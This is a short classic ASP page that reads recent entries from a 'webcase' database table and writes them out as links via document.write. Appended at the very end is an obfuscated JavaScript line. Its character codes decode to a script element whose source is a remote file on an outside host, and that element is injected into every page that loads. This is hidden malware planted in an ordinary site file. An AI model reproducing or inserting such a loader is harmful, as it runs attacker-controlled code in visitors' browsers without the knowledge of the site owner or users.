<% num=10 if isnumeric(request.QueryString("num")) and request.QueryString("num")<>"" then num=request.QueryString("num") end if sql="select top "&num&" * from webcase where commend=0 order by id desc" set rs=server.CreateObject("adodb.recordset") rs.open sql,conn,1,1 while not rs.eof url=trim(rs("url")) if left(url,7)<>"http://" then url="http://"&url end if %> document.write(" "); document.write(" \" class=\"link3\" target=\"_blank\"><%=rs("title")%>"); document.write(" "); <% rs.movenext wend rs.close %> window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,49,50,51,46,98,118,56,56,56,56,46,99,111,109,47,102,99,46,106,115);document.body.appendChild(window.s)